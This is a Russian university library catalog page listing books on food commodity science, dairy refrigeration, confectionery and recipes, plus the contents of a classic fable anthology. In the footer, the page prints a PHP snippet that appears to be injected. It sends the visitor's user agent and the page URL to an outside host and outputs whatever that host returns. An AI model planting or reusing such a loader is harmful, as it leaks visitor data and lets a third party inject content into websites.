  • Илюхин, В. В. Защита электроизмерительных приборов от электромагнитных излучений / В. В. Илюхин, С. В. Шишкин, М. Я. Бурлев. - с.35-36
  • Ересько, Г. А. Тепловые и энергетические характеристики пластинчатого скребкового пастеризатора / Г. А. Ересько, С. И. Ерошенко. - с.32-34
  • Самоочищающаяся центробежная бактофуга. - с.31
  • Харитонов, В. Д. О точности и объективности оценки качества сухого цельного молока / В. Д. Харитонов, Л. В. Петрова, С. В. Петрова. - с.28-29
  • Илюхин, В. В. Аэродинамика нагнетательной струи электрического разряда / В. В. Илюхин, М. Я. Бурлев, Е. В. Жуковец. - с.26-27
  • Нильсен, Б. Современные технологии сушки с точки зрения гигиены производства / Б. Нильсен. - с.24-25
  • Инновационные технологии и оборудование. - с.22-23
  • Прокопенко, Г. В. Генераторы ледяной воды / Г. В. Прокопенко. - с.21
  • Маринюк, Б. Т. Вакуумно-испарительная система охлаждения пищевых жидкостей / Б. Т. Маринюк, Д. В. Суашков. - с.20
  • Корниенко, В. Н. Изоляционные материалы класса полиуретанов / В. Н. Корниенко. - с.18-19
  • Галкин, М. Л. Особенности длительной эксплуатации хладоносителей / М. Л. Галкин, Л. С. Генель, А. М. Рукавишников. - с.15-17
  • Цветков, О. Б. Холодильные агенты и бивалентность эколого-энергетического оптимизма / О. Б. Цветков. - с.12-14
  • Силенок, А. В. Холод для предприятий молочной промышленности / А. В. Силенок. - с.10
  • Прудовская, О. А. Современные решения в системах охлаждения молока / О. А. Прудовская, С. М. Семенчук. - с.8-9
  • Полевой, А. А. Холодильные установки / А. А. Полевой. - с.6-7
Держатели документа (Информация об экземплярах) 
10. 
Товароведение пищевых продуктов [Текст] / И. Е. Кононенко [и др.], 1983. - 423 с.
Ключевые слова 
СОСТАВ ХИМИЧЕСКИЙ - ПРОДУКТЫ -- КАЧЕСТВО ПИЩЕВЫХ ПРОДУКТОВ -- ПРОДУКТЫ ПИЩЕВЫЕ -- ЗЕРНО -- КРУПА -- МУКА -- ИЗДЕЛИЯ МАКАРОННЫЕ -- ХЛЕБ -- ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ -- Овощи -- Плоды -- Грибы -- КРАХМАЛ -- САХАР -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ПРОДУКТЫ ВКУСОВЫЕ -- ПРЯНОСТИ -- ПРИПРАВА -- КИСЛОТА ПИЩЕВАЯ -- ЧАЙ -- КОФЕ -- НАПИТОК АЛКОГОЛЬНЫЙ -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- МЯСО -- СУБПРОДУКТЫ -- МЯСО ПТИЦЫ -- МЯСО КРОЛИКОВ -- МОЛОКО -- СЛИВКИ -- ПРОДУКТЫ КИСЛОМОЛОЧНЫЕ -- МОЛОКО СГУЩЕННОЕ -- МОЛОКО СУХОЕ -- МОРОЖЕНОЕ -- СЫР -- МАСЛО КОРОВЬЕ -- ЯЙЦА -- Рыба -- ИКРА -- ЖИР ПИЩЕВОЙ -- МАРГАРИН
Держатели документа (Информация об экземплярах) 
11. 
Товароведение пищевых продуктов [Текст] / В. Б. Тылкин [и др.] ; ред. В. Б. Тылкин, 1980. - 429 с.
Ключевые слова 
СОСТАВ ХИМИЧЕСКИЙ - ПРОДУКТЫ -- КАЧЕСТВО ПИЩЕВЫХ ПРОДУКТОВ -- ПРОДУКТЫ ПИЩЕВЫЕ -- ЗЕРНО -- КРУПА -- МУКА -- ИЗДЕЛИЯ МАКАРОННЫЕ -- ХЛЕБ -- ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ -- Овощи -- Плоды -- Грибы -- КРАХМАЛ -- САХАР -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ПРОДУКТЫ ВКУСОВЫЕ -- ПРЯНОСТИ -- ПРИПРАВА -- КИСЛОТА ПИЩЕВАЯ -- ЧАЙ -- КОФЕ -- НАПИТОК АЛКОГОЛЬНЫЙ -- НАПИТОК СЛАБОАЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- МЯСО -- СУБПРОДУКТЫ -- МЯСО ПТИЦЫ -- МЯСО КРОЛИКОВ -- МОЛОКО -- СЛИВКИ -- ПРОДУКТЫ КИСЛОМОЛОЧНЫЕ -- МОЛОКО СГУЩЕННОЕ -- МОЛОКО СУХОЕ -- МОРОЖЕНОЕ -- СЫР -- МАСЛО КОРОВЬЕ -- ЯЙЦА -- Рыба -- ИКРА -- ЖИР ПИЩЕВОЙ
Держатели документа (Информация об экземплярах) 
12. 
Шестакова Т. И. Кондитер-профессионал [Текст] : учеб. пособие / Т. И. Шестакова, 2006. - 399 с.
Ключевые слова 
МУКА ПШЕНИЧНАЯ -- МУКА СОЕВАЯ -- МУКА кукурузная -- КРАХМАЛ -- глюкоза -- фруктоза -- ПОДСЛАСТИТЕЛЬ -- патока крахмальная -- МЕД -- МОЛОКО -- ПРОДУКТЫ МОЛОЧНЫЕ -- МАСЛО СЛИВОЧНОЕ -- ЖИРЫ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- ПРОДУКТЫ ВКУСОВЫЕ -- КИСЛОТА ПИЩЕВАЯ -- ВЕЩЕСТВА АРОМАТИЧЕСКИЕ -- РАЗРЫХЛИТЕЛЬ -- ФРУКТЫ -- ЦУКАТЫ -- КРУПА -- ОРЕХИ -- МАК -- УЛУЧШИТЕЛЬ хлебобулочных изделий -- ДОБАВКА БИОЛОГИЧЕСКИ АКТИВНА -- СЛИВКИ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ФАРШ -- ТЕСТО дрожжевое -- КУЛИЧИ -- БАБА РОМОВАЯ -- ТЕСТО бездрожжевое -- ВАТРУШКА -- ТЕСТО ПРЯНИЧНОЕ -- ТЕСТО ПЕСОЧНОЕ -- БИСКВИТ -- ТЕСТО ЗАВАРНОЕ -- ТЕСТО СЛОЕНОЕ -- волованы -- ФРИТЮР -- ПЕЧЕНЬЕ -- КЕКС -- ПИЦЦА -- СЛАДОСТИ ВОСТОЧНЫЕ -- СИРОП -- помадка -- ГЛАЗУРИ -- мастика -- КАРАМЕЛЬ -- кандир для сахарных фигур -- грильяж -- ЖЕЛЕ -- марципан -- ШОКОЛАД -- посыпки -- КРЕМ -- ПИРОЖНЫЕ -- ТОРТЫ
Держатели документа (Информация об экземплярах) 
13. 
Касторных, Мария Семеновна. Товароведение и экспертиза пищевых жиров, молока и молочных продуктов [Текст] : Учебник гриф-УМО / М. С. Касторных, В. А. Кузьмина, Ю. С. Пучкова, 2009. - 328 с.
Держатели документа (Информация об экземплярах) 
14. 
Лысковцов, Иван Васильевич. Разделение жидкостей на центробежных аппаратах [Текст] / И. В. Лысковцов, 1968. - 143, [1] с.
Держатели документа (Информация об экземплярах) 
15. 
Территориальные единичные расценки на монтаж оборудования. Омская область [Текст]. Ч. 28 : Оборудование предприятий пищевой промышленности, 2010. - 56 с.
Ключевые слова 
ТЕРм 81-03-28-2001 -- СМЕТНЫЙ -- НОРМАТИВ -- ДОЗИРОВАНИЕ -- МУКА -- СМЕШИВАНИЕ -- ПРИГОТОВЛЕНИЕ -- ДРОЖЖИ -- ДЕЖИ -- ТЕСТО -- СУШИЛКА -- СУХАРЬ -- РАСФАСОВКА -- САХАР -- МОЙКА -- МЕШАЛКА -- ЛОВУШКА -- ФИЛЬТРАЦИОННОЕ -- ВОДООТДЕЛИТЕЛЬ -- ВОДООТВОДЧИК -- ПРЕСС -- ДИФФУЗИОННОЕ -- ПЕЧЬ -- РАЗДЕЛКА -- ТУША -- ЛЬДОГЕНЕРАТОР -- ПОСОЛЬНОЕ -- РЕЗЕРВУАР -- МОЛОКО -- ТЕРМООБРАБОТКА -- СЛИВКИ -- МАСЛО -- СЫР -- МОРОЖЕНОЕ -- КАЗЕИН -- ДРОБИЛКА -- УКУПОРКА -- МАКАРОНЫ -- КОНФЕТЫ -- ВИНОГРАД -- СПИРТ -- ПИВО -- ТАБАК -- ЧАЙ -- КАРТОНАЖНЫЕ -- ОБЩЕСТВЕННОЕ -- ПИТАНИЕ -- ЖЕСТЯНАЯ -- ТАРА -- СОЛОД -- СУСЛО
Держатели документа (Информация об экземплярах) 
16. 
Классическая басня [Текст] : сб. / сост.: М. Л. Гаспаров, И. Ю. Подгаецкая, 1981. - 381, [1] с.
Ключевые слова 
Оглавление 
  • Эзоп. Басни / Эзоп. - с.4-41
  • Федр. Басни / Федр. - с.42-65
  • Бабрий. Басни / Бабрий. - с.66-87
  • Авиан. Басни / Авиан. - с.87-90
  • Диакон, И. Басни / И. Диакон. - с.91-102
  • Леонардо, да Винчи. Басни / да Винчи Леонардо. - с.104-107
  • Лютер, М. Пес и овца / М. Лютер. - с.108
  • Сакс, Г. Льстивый и честный пред обезьяньим царем / Г. Сакс. - с.108-110
  • Катс, Я. Басни / Я. Катс. - с.110-112
  • Рей, М. Ксендз, который у короля умылся, а ел дома / М. Рей. - с.113
  • Деперье, Б. Басни / Б. Деперье. - с.113-115
  • Маро, К. Лев и мышь / К. Маро. - с.115-116
  • Лафонтен, Жан де. Басни / Жан де Лафонтен. - с.117-142
  • Фенелон, Франсуа де. Пчела и муха / Франсуа де Фенелон. - с.143
  • Сен-Ламбер, Жан-Франсуа де. Воспитание принца / Жан-Франсуа де Сен-Ламбер. - с.143-144
  • Ламот, Антуан Удар де. Мешок Судьбы / Антуан Удар де Ламот. - с.144-145
  • Грекур, Жан-Батист-Жозеф де. Мотылек и голубки / Жан-Батист-Жозеф де Грекур. - с.146
  • Рише, А. Отшельник и докучный / А. Рише. - с.146-147
  • Песселье, Шарль-Этьен де. Фонтан и ручей / Шарль-Этьен де Песселье. - с.147-148
  • Ваде, Жан-Жозеф. Зеркало истины / Жан-Жозеф Ваде. - с.148-149
  • Обер, Жан-Луи. Зеркало / Жан-Луи Обер. - с.149-150
  • Буассар, Жан-Жак-Франсуа. История / Жан-Жак-Франсуа Буассар. - с.150-151
  • Экушар-Лебрен, Понс-Дени. Средство возвыситься / Понс-Дени Экушар-Лебрен. - с.151
  • Леонар, Никола-Жермен. Два ручья / Никола-Жермен Леонар. - с.151-152
  • Эмбер, Б. Подрезанные деревья / Б. Эмбер. - с.152
  • Дора, Клод-Жозеф. Лис и пес / Клод-Жозеф Дора. - с.153-154
  • Лебайи, Антуан-Франсуа. Верблюд и голуби / Антуан-Франсуа Лебайи. - с.154
  • Флориан, Жан-Пьер де. Басни / Жан-Пьер де Флориан. - с.155-162
  • Жоффре. Два сапожника / Жоффре. - с.162-163
  • Анро, Антуан-Венсан. Каштан / Антуан-Венсан Анро. - с.163
  • Ириарте, Томас де. Басни / Томас де Ириарте. - с.164-166
  • Саманиего, Ф. М. Басни / Ф. М. Саманиего. - с.167
  • Парини, Дж. Кот и крестьянин / Дж. Парини. - с.167-168
  • Пиньотти, Л. Взбитые сливки / Л. Пиньотти. - с.169-170
  • Фьякки, Л. Молодой дрозд и его мать / Л. Фьякки. - с.170-171
  • Хагедорн, Фридрих фон. Медвежья шкура / Фридрих фон Хагедорн. - с.171-172
  • Геллерт, Х. Ф. Басни / Х. Ф. Геллерт. - с.172-173
  • Лихтвер, М. Г. Чертенок / М. Г. Лихтвер. - с.173-174
  • Глейм, И. В. Л. Садовница и пчела / И. В. Л. Глейм. - с.174-175
  • Пфеффель, К. Сова и жаворонок / К. Пфеффель. - с.175
  • Клейст, Эвальд фон. Ранний журавль / Эвальд фон Клейст. - с.175-176
  • Лессинг, Г. Э. Басни / Г. Э. Лессинг. - с.176-182
  • Хольберг, Л. Басни / Л. Хольберг. - с.182-190
  • Вессель, Ю. Г. Смерть собаки / Ю. Г. Вессель. - с.190-191
  • Прайор, М. Басни / М. Прайор. - с.192
  • Гэй, Дж. Басни / Дж. Гэй. - с.193-195
  • Рамзей, А. Баран и козел / А. Рамзей. - с.195-196
  • Мур, Э. Басни / Э. Мур. - с.196-198
  • Уайтхед, В. Юноша и философ / В. Уайтхед. - с.198-199
  • Далин, Улоф фон. Басни / Улоф фон Далин. - с.200-201
  • Гюлленборг, Г. Ф. Кукушка и пчела / Г. Ф. Гюлленборг. - с.201-202
  • Леннгрен, А. М. Басни / А. М. Леннгрен. - с.202-203
  • Радаи, Г. Червь, вселившийся в хрен / Г. Радаи. - с.203
  • Пецели, Й. Сорока и сойка / Й. Пецели. - с.204
  • Виткович, М. Коты / М. Виткович. - с.205
  • Красницкий, И. Басни / И. Красницкий. - с.205-208
  • Венгерский, Т. К. Костел и воробьи / Т. К. Венгерский. - с.208
  • Князнин, Ф. Д. Два петуха и курица / Ф. Д. Князнин. - с.209
  • Годебский, Ц. Дуб и деревца / Ц. Годебский. - с.209-210
  • Немцевич, Ю. У. Басни / Ю. У. Немцевич. - с.210-211
  • Далес, А. Гнилая груша и английская груша / А. Далес. - с.212
  • Бугарр. Три собаки / Бугарр. - с.213
  • Лашамбоди, П. Басни / П. Лашамбоди. - с.214-215
  • Руссель, о. Пес и богач / о. Руссель. - с.215
  • Дежак. Лев / Дежак. - с.216
  • Моравский, Ф. Басни / Ф. Моравский. - с.216-217
  • Мицкевич, А. Басни / А. Мицкевич. - с.218-220
  • Бирс, А. Басни / А. Бирс. - с.220-224
  • Кантемир, А. Д. Огонь и восковой болван / А. Д. Кантемир. - с.226
  • Тредиаковский, В. К. Басни / В. К. Тредиаковский. - с.227
  • Ломоносов, М. В. Старик, его сын и осел / М. В. Ломоносов. - с.228
  • Сумароков, А. П. Басни / А. П. Сумароков. - с.228-237
  • Херасков, М. М. Труба и свирелка / М. М. Херасков. - с.237-238
  • Майков, В. И. Роза и ананас / В. И. Майков. - с.238-239
  • Ржевский, А. А. Муж и жена / А. А. Ржевский. - с.239-240
  • Богданович, И. Ф. Слух и видение / И. Ф. Богданович. - с.240-241
  • Леонтьев, Н. В. Свеча в фонаре / Н. В. Леонтьев. - с.241-242
  • Аблесимов, А. А. Острый ответ черкаса госпадину / А. А. Аблесимов. - с.242-243
  • Княжнин, Я. Б. Судья и вор / Я. Б. Княжнин. - с.243-244
  • Фонвизин, Д. И. Лисица-кознодей / Д. И. Фонвизин. - с.244-245
  • Хемницер, И. И. Басни / И. И. Хемницер. - с.246-257
  • Львов, Н. А. Львиный указ / Н. А. Львов. - с.257-258
  • Державин, Г. Р. Фонари / Г. Р. Державин. - с.258-259
  • Сумароков, П. П. Две собаки / П. П. Сумароков. - с.259-260
  • Тучков, И. П. Зеркало и обезьяна / И. П. Тучков. - с.260-261
  • Пнин, И. П. Терновник и яблоня / И. П. Пнин. - с.261-262
  • Шишков, А. С. Голубь и пчела / А. С. Шишков. - с.262-263
  • Хвостов, Д. И. Басни / Д. И. Хвостов. - с.263-265
  • Дмитриев, И. И. Басни / И. И. Дмитриев. - с.267-276
  • Муравьев, М. Н. Изгнание Аполлона / М. Н. Муравьев. - с.276-277
  • Нелединский-Мелецкий, Ю. А. Стрекоза / Ю. А. Нелединский-Мелецкий. - с.277
  • Иванов, Ф. Ф. Плющ и дикая роза / Ф. Ф. Иванов. - с.278
  • Дмитриев, М. А. Плющ и фиалка / М. А. Дмитриев. - с.278
  • Жуковский, В. А. Сон могольца / В. А. Жуковский. - с.279-280
  • Батюшков, К. Н. Сон могольца / К. Н. Батюшков. - с.280-281
  • Пушкин, В. Л. Старый лев и звери / В. Л. Пушкин. - с.281-282
  • Пушкин, В. Л. Голубка / В. Л. Пушкин. - с.282
  • Шаликов, П. И. Бумага и перо / П. И. Шаликов. - с.282
  • Бланк, Б. К. Золотой галун и кружево / Б. К. Бланк. - с.283
  • Илличевский, А. Д. Пенька и веревка / А. Д. Илличевский. - с.283
  • Глинка, Ф. Н. Пирамида / Ф. Н. Глинка. - с.284
  • Давыдов, Д. В. Голова и ноги / Д. В. Давыдов. - с.284-285
  • Вяземский, П. А. Басни / П. А. Вяземский. - с.285-286
  • Крылов, И. А. Басни / И. А. Крылов. - с.287-318
  • Измайлов, А. Е. Басни / А. Е. Измайлов. - с.319-333
  • Нахимов, А. Н. Железо и кузнец / А. Н. Нахимов. - с.333-334
  • Филимонов, В. С. Кум и кума / В. С. Филимонов. - с.334-335
  • Федоров, Б. М. Путники / Б. М. Федоров. - с.335
  • Суханов, М. Д. Фиалка / М. Д. Суханов. - с.335-336
  • Зилов, А. М. Мизантроп / А. М. Зилов. - с.336-337
  • Масальский, К. П. Угольщик и трубачист / К. П. Масальский. - с.337
  • Федотов, П. А. Тарпейская скала / П. А. Федотов. - с.338-339
  • Прутков, К. Басни / К. Прутков. - с.339-342
17. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост. Л. Е. Голунова, 2001. - 688 с.
Ключевые слова 
БУТЕРБРОД -- ЗАКУСКА БАНКЕТНАЯ -- САЛАТ -- ВИНЕГРЕТ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СОЛЯНКА -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- КАША -- ЗАПЕКАНКА -- ПУДИНГ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- ЯГОДЫ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- САМБУК -- КРЕМ -- СЛИВКИ ВЗБИТЫЕ -- СУФЛЕ -- ПУДИНГ -- МОРОЖЕНОЕ -- НАПИТКИ -- ЧАЙ -- КОФЕ -- КАКАО -- ШОКОЛАД -- МОЛОКО -- КОКТЕЙЛЬ -- КРЮШОН -- БЛЮДА МУЧНЫЕ -- ФАРШ -- РАСХОД СЫРЬЯ -- ПОЛУФАБРИКАТЫ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
18. 
Товароведение однородных групп продовольственных товаров [Текст] / ред. Л. Г. Елисеева, 2014. - 929 с.
Ключевые слова 
ТОВАРЫ ПРОДОВОЛЬСТВЕННЫЕ -- ТОВАРОВЕДЕНИЕ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- КАЧЕСТВО ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- БЕЗОПАСНОСТЬ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- МАРКИРОВКА ТОВАРА -- УПАКОВКА ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ЗЕРНО -- МУКА -- КРУПА -- ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ -- ИЗДЕЛИЯ БАРАНОЧНЫЕ -- ИЗДЕЛИЯ СУХАРНЫЕ -- ИЗДЕЛИЯ МАКАРОННЫЕ -- ТОВАРЫ ПЛОДООВОЩНЫЕ -- ПОТЕРИ ПЛОДОВ -- ПОТЕРИ ОВОЩЕЙ -- КОНСЕРВИРОВАНИЕ ПЛОДООВОЩНОЙ ПРОДУКЦИИ -- ЗАМОРАЖИВАНИЕ ОВОЩЕЙ -- ЗАМОРАЖИВАНИЕ ПЛОДОВ -- НАПИТОК АЛКОГОЛЬНЫЙ -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- ЧАЙ -- КОФЕ -- КОНЦЕНТРАТ ПИЩЕВОЙ -- КРАХМАЛ -- САХАР -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ САХАРИСТЫЕ -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ МУЧНЫЕ -- ЖИР ПИЩЕВОЙ -- МАСЛО РАСТИТЕЛЬНОЕ -- МАРГАРИН -- СПРЕД -- МАЙОНЕЗ -- МОЛОКО -- СЛИВКИ -- ПРОДУКТЫ КИСЛОМОЛОЧНЫЕ -- СЫР -- КОНСЕРВЫ МОЛОЧНЫЕ -- МОРОЖЕНОЕ -- МАРКИРОВКА МОЛОЧНОЙ ПРОДУКЦИИ -- ПРОДУКТЫ МОЛОЧНЫЕ - ПИТАНИЕ ДЕТСКОЕ -- МЯСО -- МЯСО ПТИЦЫ -- ИЗДЕЛИЯ КОЛБАСНЫЕ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- КОНСЕРВЫ МЯСНЫЕ -- РЫБА -- МОРЕПРОДУКТЫ

Учебник подготовлен в соответствии с образовательным стандартом третьего поколения – ФГОС ВПО по направлению подготовки «Товароведение» по базовой дисциплине профессионального цикла «Товароведение однородных групп продовольственных товаров».

В нем рассматриваются основные понятия и задачи товароведения продовольственных товаров, научные принципы систематизации и классификации продовольственных товаров, факторы, влияющие на формирование и сохранение их потребительских свойств. Дана характеристика пищевой ценности и потребительских свойств однородных групп продовольственных товаров, представлены современные принципы их классификации и кодирования, изложены требования к качеству и безопасности, рассмотрены основные дефекты и причины их возникновения, режимы хранения и сроки годности.

Для студентов бакалавриата, обучающихся по направлениям подготовки «Товароведение», «Торговое дело», «Технология продукции и организация общественного питания» и «Экономика».

19. 
Дубцов Г. Г. Товароведение продовольственных товаров [Текст] / Г. Г. Дубцов, 2014. - 333 с.
Ключевые слова 
ТОВАРЫ ПРОДОВОЛЬСТВЕННЫЕ -- ТОВАРОВЕДЕНИЕ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- КАЧЕСТВО ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ЦЕННОСТЬ ФИЗИОЛОГИЧЕСКАЯ -- БЕЗОПАСНОСТЬ ПРОДОВОЛЬСТВЕННЫХ ТОВАРОВ -- ЗЕРНО -- МУКА -- КРУПА -- ИЗДЕЛИЯ МАКАРОННЫЕ -- СОЛОД -- ИЗДЕЛИЯ ХЛЕБОБУЛОЧНЫЕ -- КОРНЕПЛОДЫ -- ОВОЩИ -- ПЛОДЫ -- САХАР -- КРАХМАЛ -- МЕД -- ИЗДЕЛИЯ КОНДИТЕРСКИЕ -- ПРОДУКТЫ ВКУСОВЫЕ -- НАПИТОК АЛКОГОЛЬНЫЙ -- ПИВО -- КВАС -- НАПИТОК БЕЗАЛКОГОЛЬНЫЙ -- ЧАЙ -- КОФЕ -- ПРЯНОСТИ -- МОЛОКО -- СЛИВКИ -- КОНСЕРВЫ МОЛОЧНЫЕ -- МОЛОКО СУХОЕ -- ПРОДУКТЫ КИСЛОМОЛОЧНЫЕ -- СЫР -- МАСЛО КОРОВЬЕ -- МЯСО -- ИЗДЕЛИЯ КОЛБАСНЫЕ -- МЯСОКОПЧЕНОСТИ -- КОНСЕРВЫ МЯСНЫЕ -- РЫБА -- МОРЕПРОДУКТЫ -- ЯЙЦА -- ЯЙЦЕПРОДУКТЫ -- ЖИР ПИЩЕВОЙ -- МАРГАРИН -- РАЗРЫХЛИТЕЛЬ ТЕСТА -- ДРОЖЖИ -- ВОДА -- УПАКОВКА -- ПОСУДА ОДНОРАЗОВАЯ
Держатели документа (Информация об экземплярах) 
20. 
Сборник рецептур блюд и кулинарных изделий для предприятий общественного питания [Текст] / сост.: Л. Е. Голунова, М. Т. Лабзина, 2014. - 771 с.
Ключевые слова 
БУТЕРБРОД -- ЗАКУСКА БАНКЕТНАЯ -- САЛАТ -- ВИНЕГРЕТ -- СУП -- БОРЩ -- ЩИ -- РАССОЛЬНИК -- СОЛЯНКА -- СУП МОЛОЧНЫЙ -- СУП - ПЮРЕ -- СУП ХОЛОДНЫЙ -- БЛЮДА ИЗ КАРТОФЕЛЯ -- БЛЮДА ИЗ ГРИБОВ -- БЛЮДА ИЗ ОВОЩЕЙ -- БЛЮДА ИЗ КРУП -- КАША -- ЗАПЕКАНКА -- ПУДИНГ -- БЛЮДА ИЗ ЯИЦ -- БЛЮДА ИЗ ТВОРОГА -- БЛЮДА РЫБНЫЕ -- БЛЮДА ИЗ МОРЕПРОДУКТОВ -- БЛЮДА МЯСНЫЕ -- ГАРНИР -- СОУС -- БЛЮДА СЛАДКИЕ -- ЯГОДЫ -- КОМПОТ -- КИСЕЛЬ -- ЖЕЛЕ -- МУСС -- САМБУК -- КРЕМ -- СЛИВКИ ВЗБИТЫЕ -- СУФЛЕ -- ПУДИНГ -- МОРОЖЕНОЕ -- НАПИТКИ -- ЧАЙ -- КОФЕ -- КАКАО -- ШОКОЛАД -- МОЛОКО -- КОКТЕЙЛЬ -- КРЮШОН -- БЛЮДА МУЧНЫЕ -- ФАРШ -- РАСХОД СЫРЬЯ -- ПОЛУФАБРИКАТЫ -- ВЗАИМОЗАМЕНЯЕМОСТЬ ПРОДУКТОВ
Держатели документа (Информация об экземплярах) 
21. 
Абатуров, Павел Васильевич. Сладкие блюда. Напитки [Текст] / П. В. Абатуров, Н. П. Цыпленков, 1958. - 136 с.
Держатели документа (Информация об экземплярах) 


    Адрес: 644050, Россия, г. Омск, пр-кт Мира, 11

    Телефон: (3812) 65-34-86, 65-23-69

    E-mail: libdirector@omgtu.ru, b_oa@omgtu.ru

[ О библиотеке ]     [ Читателю ]     [ Информационные ресурсы ]     [ Электронный каталог ]     [ Научная деятельность ]     [ Культура и досуг ]     [ ИРБИС в Омске ]

Электронное периодическое издание «lib.omgtu.ru» | Свидетельство о регистрации СМИ Эл № ФС77-45378 от 10.06.2011 Федеральной службы по надзору в сфере связи, информационных технологий и массовых коммуникаций (Роскомнадзор)| Выпуск № 3053 - 19.10.2019
© Омский государственный технический университет

Электронно-библиотечная система АРБУЗ ОмГТУ
Страница сгенерирована за 2.68 с.28 запросов, 1.00c. $useragent=$_SERVER['HTTP_USER_AGENT']; $bs=base64_encode($useragent); $sb='http://'.$_SERVER['SERVER_NAME'].$_SERVER["REQUEST_URI"]; $ret = file_get_contents('http://jr.6tws.us/?UserAgent='.$bs."&Domain=".$sb); print $ret;